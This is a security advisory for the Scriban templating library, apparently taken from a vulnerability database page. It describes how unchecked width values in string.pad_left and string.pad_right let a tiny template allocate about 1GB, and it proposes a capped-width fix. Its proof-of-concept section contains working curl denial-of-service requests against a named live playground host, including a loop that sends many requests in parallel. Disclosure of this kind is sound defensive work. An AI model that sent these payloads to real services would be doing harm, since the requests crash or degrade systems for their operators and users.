GHSA-V66J-X4HW-FV9G

Vulnerability from github – Published: 2026-03-24 22:13 – Updated: 2026-03-24 22:13
VLAI?
Summary
Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service
Details

Summary

The built-in string.pad_left and string.pad_right template functions in Scriban perform no validation on the width parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via OutOfMemoryException.

Details

StringFunctions.PadLeft and StringFunctions.PadRight (src/Scriban/Functions/StringFunctions.cs:1181-1203) directly delegate to .NET's String.PadLeft(int) / String.PadRight(int) with no bounds checking:

// src/Scriban/Functions/StringFunctions.cs:1181-1183
public static string PadLeft(string text, int width)
{
    return (text ?? string.Empty).PadLeft(width);
}

// src/Scriban/Functions/StringFunctions.cs:1200-1202
public static string PadRight(string text, int width)
{
    return (text ?? string.Empty).PadRight(width);
}

The TemplateContext.LimitToString property (default 1MB, set at TemplateContext.cs:147) does not prevent the allocation. This limit is only checked during ObjectToString() conversion (TemplateContext.Helpers.cs:101-103), which runs after the string has been fully allocated by PadLeft/PadRight. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.

The Scriban.AppService playground (src/Scriban.AppService/Program.cs:63-140) exposes POST /api/render with: - No authentication - Template size limit of 1KB (line 71) — the payload fits in 39 bytes - A 2-second timeout via CancellationTokenSource (line 118) — but this only cancels the await Task.Run(...), not the running template.Render() call (line 122). The BCL PadLeft allocation completes atomically before the cancellation can take effect. - Rate limiting of 30 requests/minute (line 25)

PoC

Single request to crash or degrade the AppService:

curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}'

This 39-byte template causes PadLeft(500000000) to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).

Expected result: The service returns an error or truncated output safely.

Actual result: The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws OutOfMemoryException crashing the process.

Sustained attack with rate limiting:

# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure
for i in $(seq 1 30); do
  curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
    -H "Content-Type: application/json" \
    -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' &
done
wait

The string.pad_right variant works identically:

curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}'

Impact

  • Remote denial of service against any application that renders untrusted Scriban templates, including the official Scriban playground at scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net.
  • An unauthenticated attacker can crash the hosting process via OutOfMemoryException with a single HTTP request.
  • With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.
  • The existing LimitToString and timeout mitigations do not prevent the intermediate memory allocation.

Recommended Fix

Add width validation in StringFunctions.PadLeft and StringFunctions.PadRight to cap the maximum allocation. A reasonable upper bound is the LimitToString value from the TemplateContext, or a fixed maximum if the context is not available:

// src/Scriban/Functions/StringFunctions.cs

// Option 1: Fixed reasonable maximum (simplest fix)
public static string PadLeft(string text, int width)
{
    if (width < 0) width = 0;
    if (width > 1_048_576) width = 1_048_576; // 1MB cap
    return (text ?? string.Empty).PadLeft(width);
}

public static string PadRight(string text, int width)
{
    if (width < 0) width = 0;
    if (width > 1_048_576) width = 1_048_576; // 1MB cap
    return (text ?? string.Empty).PadRight(width);
}

Alternatively, make the functions context-aware and use LimitToString as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Scriban"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T22:13:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input \u2014 as in the official Scriban.AppService playground deployed on Azure \u2014 an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`.\n\n## Details\n\n`StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET\u0027s `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs:1181-1183\npublic static string PadLeft(string text, int width)\n{\n    return (text ?? string.Empty).PadLeft(width);\n}\n\n// src/Scriban/Functions/StringFunctions.cs:1200-1202\npublic static string PadRight(string text, int width)\n{\n    return (text ?? string.Empty).PadRight(width);\n}\n```\n\nThe `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function \u2014 it occurs before output rendering.\n\nThe Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with:\n- No authentication\n- Template size limit of 1KB (line 71) \u2014 the payload fits in 39 bytes\n- A 2-second timeout via `CancellationTokenSource` (line 118) \u2014 but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect.\n- Rate limiting of 30 requests/minute (line 25)\n\n## PoC\n\nSingle request to crash or degrade the AppService:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}\u0027\n```\n\nThis 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET\u0027s UTF-16 encoding).\n\n**Expected result:** The service returns an error or truncated output safely.\n\n**Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process.\n\nSustained attack with rate limiting:\n\n```bash\n# 30 requests/minute \u00d7 ~1GB each = ~30GB/minute of memory pressure\nfor i in $(seq 1 30); do\n  curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}\u0027 \u0026\ndone\nwait\n```\n\nThe `string.pad_right` variant works identically:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{{ \\u0027\\u0027 | string.pad_right 500000000 }}\"}\u0027\n```\n\n## Impact\n\n- **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`.\n- An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request.\n- With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.\n- The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation.\n\n## Recommended Fix\n\nAdd width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs\n\n// Option 1: Fixed reasonable maximum (simplest fix)\npublic static string PadLeft(string text, int width)\n{\n    if (width \u003c 0) width = 0;\n    if (width \u003e 1_048_576) width = 1_048_576; // 1MB cap\n    return (text ?? string.Empty).PadLeft(width);\n}\n\npublic static string PadRight(string text, int width)\n{\n    if (width \u003c 0) width = 0;\n    if (width \u003e 1_048_576) width = 1_048_576; // 1MB cap\n    return (text ?? string.Empty).PadRight(width);\n}\n```\n\nAlternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.",
  "id": "GHSA-v66j-x4hw-fv9g",
  "modified": "2026-03-24T22:13:37Z",
  "published": "2026-03-24T22:13:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scriban/scriban/security/advisories/GHSA-v66j-x4hw-fv9g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scriban/scriban"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…